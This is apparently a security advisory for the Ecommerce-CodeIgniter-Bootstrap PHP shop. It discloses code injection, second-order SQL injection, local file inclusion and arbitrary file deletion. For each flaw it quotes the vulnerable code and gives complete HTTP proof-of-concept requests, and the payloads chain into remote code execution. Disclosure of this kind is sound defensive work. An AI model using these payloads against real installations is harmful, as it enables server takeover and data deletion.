vendor: kirilkirkov/Ecommerce-CodeIgniter-Bootstrap (github.com)
version: before Vulnerability fixes from Lion Tree ยท kirilkirkov/Ecommerce-CodeIgniter-Bootstrap@d22b54e (github.com)
A code injection(CWE-94) vulnerability is in application/modules/admin/controllers/advanced_settings/Languages.php
. In the saveLanguageFiles
method, the element of $_POST['php_keys']
is escaped by htmlentities
and enclosed in two single quotes as the key of $lang
. However, htmlentities
doesn't escape '
, which allows the attacker to escape from single quotes and inject malicious PHP code, leading to authenticated remote code execution.
private function saveLanguageFiles()
{
$i = 0;
$prevFile = 'none';
$phpFileInclude = "<?php \n";
foreach ($_POST['php_files'] as $phpFile) {
if ($phpFile != $prevFile && $i > 0) {
savefile($prevFile, $phpFileInclude);
$phpFileInclude = "<?php \n";
}
$php_value = str_replace("'", ''', $_POST['php_values'][$i]);
$php_value = str_replace('"', '"', $php_value);
$phpFileInclude .= '$lang[\'' . htmlentities($_POST['php_keys'][$i]) . '\'] = \'' . $php_value . '\';' . "\n";
$prevFile = $phpFile;
$i++;
}
savefile($phpFile, $phpFileInclude);
......
function savefile($file, $info)
{
$file = fopen($file, "w");
fwrite($file, $info);
fclose($file);
}
The steps to reproduce are as follows:
POST /Ecommerce-CodeIgniter-Bootstrap/admin/languages/?editLang=english HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 39539
Origin: http://localhost
Connection: close
Referer: http://localhost/Ecommerce-CodeIgniter-Bootstrap/admin/languages/?editLang=english
Cookie: ci_session=s42mnne1b8qtto2hfi675l8ej6a34me2
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
goDaddyGo=&php_files%5B%5D=application%5Clanguage%5Cenglish%5Cadmin_lang.php&php_keys%5B%5D='.phpinfo().'&php_values%5B%5D=Home&php_files%5B%5D=application%5Clanguage%5Cenglish%5Cadmin_lang.php&php_keys%5B%5D=production&php_values%5B%5D=Production&php_files%5B%5D=application%5Clanguage%5Cenglish%5Cadmin_lang.php&php_keys%5B%5D=pass_change&php_values%5B%5D=Pass+Change&php_files%5B%5D=application%5Clanguage%5Cenglish%5Cadmin_lang.php&php_keys%5B%5D=security&php_values%5B%5D=Security&php_files%5B%5D=application%5Clanguage%5Cenglish%5Cadmin_lang.php&php_keys%5B%5D=changed&php_values%5B%5D=Changed&php_files%5B%5D=application%5Clanguage%5Cenglish%5Cadmin_lang.php&php_keys%5B%5D=change_my_password
......
The application/language/english/admin_lang.php
will be:
<?php
$lang[''.phpinfo().''] = 'Home';
$lang['production'] = 'Production';
......
visit http://localhost/Ecommerce-CodeIgniter-Bootstrap/index.php/admin/languages
again and phpinfo()
will be executed.
A file inclusion(CWE-98) vulnerability is in application/modules/admin/controllers/advanced_settings/Languages.php
and a second-order SQL injection vulnerability is in application/modules/admin/models/Orders_model.php
. The combination of these two vulnerabilities will result in authenticated remote code execution.
This vulnerability is in manageQuantitiesAndProcurement
method of application/modules/admin/models/Orders_model.php
. The $product['product_quantity']
and $product['product_info']['id']
are inserted into SQL statements without any sanitizers. These two values come from previous query result and users can control them in setOrder
method of application/models/Public_model.php
, which leads to a SQL injection.
private function manageQuantitiesAndProcurement($id, $to_status, $current)
{
if (($to_status == 0 || $to_status == 2) && $current == 1) {
$operator = '+';
$operator_pro = '-';
}
if ($to_status == 1) {
$operator = '-';
$operator_pro = '+';
}
$this->db->select('products');
$this->db->where('id', $id);
$result = $this->db->get('orders');
$arr = $result->row_array();
$products = unserialize($arr['products']);
foreach ($products as $product) {
if (isset($operator)) {
if (!$this->db->query('UPDATE products SET quantity=quantity' . $operator . $product['product_quantity'] . ' WHERE id = ' . $product['product_info']['id'])) {
log_message('error', print_r($this->db->error(), true));
show_error(lang('database_error'));
}
}
if (isset($operator_pro)) {
if (!$this->db->query('UPDATE products SET procurement=procurement' . $operator_pro . $product['product_quantity'] . ' WHERE id = ' . $product['product_info']['id'])) {
log_message('error', print_r($this->db->error(), true));
show_error(lang('database_error'));
}
}
}
}
public function setOrder($post)
{
$q = $this->db->query('SELECT MAX(order_id) as order_id FROM orders');
$rr = $q->row_array();
if ($rr['order_id'] == 0) {
$rr['order_id'] = 1233;
}
$post['order_id'] = $rr['order_id'] + 1;
$i = 0;
$post['products'] = array();
foreach ($post['id'] as $product) {
$post['products'][$product] = $post['quantity'][$i];
$i++;
}
unset($post['id'], $post['quantity']);
$post['date'] = time();
$products_to_order = [];
if(!empty($post['products'])) {
foreach($post['products'] as $pr_id => $pr_qua) {
$products_to_order[] = [
'product_info' => $this->getOneProductForSerialize($pr_id),
'product_quantity' => $pr_qua
];
}
}
$post['products'] = serialize($products_to_order);
$this->db->trans_begin();
if (!$this->db->insert('orders', array(
'order_id' => $post['order_id'],
'products' => $post['products'],
'date' => $post['date'],
'referrer' => $post['referrer'],
'clean_referrer' => $post['clean_referrer'],
'payment_type' => $post['payment_type'],
'paypal_status' => @$post['paypal_status'],
'discount_code' => @$post['discountCode'],
'user_id' => $post['user_id']
))) {
log_message('error', print_r($this->db->error(), true));
}
$lastId = $this->db->insert_id();
if (!$this->db->insert('orders_clients', array(
'for_id' => $lastId,
'first_name' => $this->encryption->encrypt($post['first_name']),
'last_name' => $this->encryption->encrypt($post['last_name']),
'email' => $this->encryption->encrypt($post['email']),
'phone' => $this->encryption->encrypt($post['phone']),
'address' => $this->encryption->encrypt($post['address']),
'city' => $this->encryption->encrypt($post['city']),
'post_code' => $this->encryption->encrypt($post['post_code']),
'notes' => $this->encryption->encrypt($post['notes'])
))) {
log_message('error', print_r($this->db->error(), true));
}
if ($this->db->trans_status() === FALSE) {
$this->db->trans_rollback();
return false;
} else {
$this->db->trans_commit();
return $post['order_id'];
}
}
The steps to reproduce are as follows(Assuming there exists a product):
orders
table (Here I inject <?php phpinfo();?>
to cause an error in SQL query, which will be used in next vulnerability).POST /Ecommerce-CodeIgniter-Bootstrap/checkout HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 257
Origin: http://localhost
Connection: close
Referer: http://localhost/Ecommerce-CodeIgniter-Bootstrap/checkout
Cookie: ci_session=pdjd6p7466aoamfqj94n5dlemovk8d52; shopping_cart=a%3A1%3A%7Bi%3A0%3Bi%3A2%3B%7D
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
payment_type=cashOnDelivery&first_name=test&last_name=test&email=test%40test.com&phone=123456&address=test&city=test&post_code=¬es=&discountCode=&id%5B%5D=2&quantity%5B%5D=<?php%20phpinfo();?>&final_amount=100.00&amount_currency=%E2%82%AC&discountAmount=
POST /Ecommerce-CodeIgniter-Bootstrap/admin/changeOrdersOrderStatus HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 948
Origin: http://localhost
Connection: close
Referer: http://localhost/Ecommerce-CodeIgniter-Bootstrap/admin/orders
Cookie: ci_session=uorgo8vkqc9u130ejr3bueljd3kaai3v; shopping_cart=a%3A1%3A%7Bi%3A0%3Bi%3A2%3B%7D
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
the_id=8&to_status=1&products=a%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bs%3A12%3A%22product_info%22%3Ba%3A17%3A%7Bs%3A11%3A%22vendor_name%22%3BN%3Bs%3A9%3A%22vendor_id%22%3Bs%3A1%3A%220%22%3Bs%3A2%3A%22id%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22folder%22%3Bs%3A10%3A%221704214075%22%3Bs%3A5%3A%22image%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22time%22%3Bs%3A10%3A%221704214090%22%3Bs%3A11%3A%22time_update%22%3Bs%3A1%3A%220%22%3Bs%3A10%3A%22visibility%22%3Bs%3A1%3A%221%22%3Bs%3A14%3A%22shop_categorie%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22quantity%22%3Bs%3A5%3A%2210000%22%3Bs%3A11%3A%22procurement%22%3Bs%3A1%3A%220%22%3Bs%3A9%3A%22in_slider%22%3Bs%3A1%3A%220%22%3Bs%3A3%3A%22url%22%3Bs%3A6%3A%22test_2%22%3Bs%3A16%3A%22virtual_products%22%3BN%3Bs%3A8%3A%22brand_id%22%3BN%3Bs%3A8%3A%22position%22%3Bs%3A3%3A%22123%22%3Bs%3A5%3A%22price%22%3Bs%3A3%3A%22100%22%3B%7Ds%3A16%3A%22product_quantity%22%3Bs%3A18%3A%22%3C%3Fphp+phpinfo()%3B%3F%3E%22%3B%7D%7D&userEmail=test%40test.com
In application/logs/log-xxxx.php
, error message of SQL query will appear, which illustrates the presence of SQL injection.
<?php defined('BASEPATH') OR exit('No direct script access allowed'); ?>
......
ERROR - 2024-01-03 01:24:45 --> Query error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '<?php phpinfo();?> WHERE id = 2' at line 1 - Invalid query: UPDATE products SET quantity=quantity-<?php phpinfo();?> WHERE id = 2
This vulnerability is in getLangFolderForEdit
method of application/modules/admin/controllers/advanced_settings/Languages.php
. By controlling $_GET['editLang']
, the attacker can make the server include .php
files under specific directory. The attacker can use previous SQL injection vulnerability to write malicous PHP code in log-xxxx.php
and use this vulnerability to include PHP files under application/logs/
(At this point, BASEPATH
has been set, allowing bypass of the check at the beginning of the log file.), which leads to remote code execution.
private function getLangFolderForEdit()
{
$langFiles = array();
$files = rreadDir('application' . DIRECTORY_SEPARATOR . 'language' . DIRECTORY_SEPARATOR . '' . $_GET['editLang'] . DIRECTORY_SEPARATOR);
$arrPhpFiles = $arrJsFiles = array();
foreach ($files as $ext => $filesLang) {
foreach ($filesLang as $fileLang) {
if ($ext == 'php') {
require $fileLang;
if (isset($lang)) {
$arrPhpFiles[$fileLang] = $lang;
unset($lang);
}
}
if ($ext == 'js') {
$jsTrans = file_get_contents($fileLang);
preg_match_all('/(.+?)"(.+?)"/', $jsTrans, $PMA);
$arrJsFiles[$fileLang] = $PMA;
unset($PMA);
}
}
}
$langFiles[0] = $arrPhpFiles;
$langFiles[1] = $arrJsFiles;
return $langFiles;
}
if (isset($_GET['editLang'])) {
$num = $this->Languages_model->countLangs($_GET['editLang']);
if ($num == 0) {
redirect('admin/languages');
}
$langFiles = $this->getLangFolderForEdit();
}
public function countLangs($name = null, $abbr = null)
{
if ($name != null) {
$this->db->where('name', $name);
}
if ($abbr != null) {
$this->db->or_where('abbr', $abbr);
}
return $this->db->count_all_results('languages');
}
The steps to reproduce are as follows:
Add a new language called ../logs
to bypass $num = $this->Languages_model->countLangs($_GET['editLang']);
.
Use previous SQL injection vulnerability to write malicous PHP code into log file. This step needs to be done after the first step because adding language will clear log file.
Edit language ../logs
GET /Ecommerce-CodeIgniter-Bootstrap/admin/languages/?editLang=../logs HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://localhost/Ecommerce-CodeIgniter-Bootstrap/admin/languages
Cookie: ci_session=inm96ingrq5a7murjrsmvjc7o7ke83jg; shopping_cart=a%3A1%3A%7Bi%3A0%3Bi%3A2%3B%7D
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
An arbitrary file deletion (CWE-73) vulnerability is in application/modules/admin/controllers/ecommerce/Publish.php
. In the method removeSecondaryImage
, the attacker can delete any file in the server by controlling $_POST['folder']
and $_POST['image']
after authorization.
public function removeSecondaryImage()
{
if ($this->input->is_ajax_request()) {
$img = '.' . DIRECTORY_SEPARATOR . 'attachments' . DIRECTORY_SEPARATOR . 'shop_images' . DIRECTORY_SEPARATOR . '' . $_POST['folder'] . DIRECTORY_SEPARATOR . $_POST['image'];
unlink($img);
}
}
POST /Ecommerce-CodeIgniter-Bootstrap/admin/removeSecondaryImage HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 31
Origin: http://localhost
Connection: close
Referer: http://localhost/Ecommerce-CodeIgniter-Bootstrap/admin/publish
Cookie: ci_session=8qfeq95l0u1nfjpj6clgr5p976m7igkh; shopping_cart=a%3A1%3A%7Bi%3A0%3Bi%3A2%3B%7D
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
image=README.md&folder=../../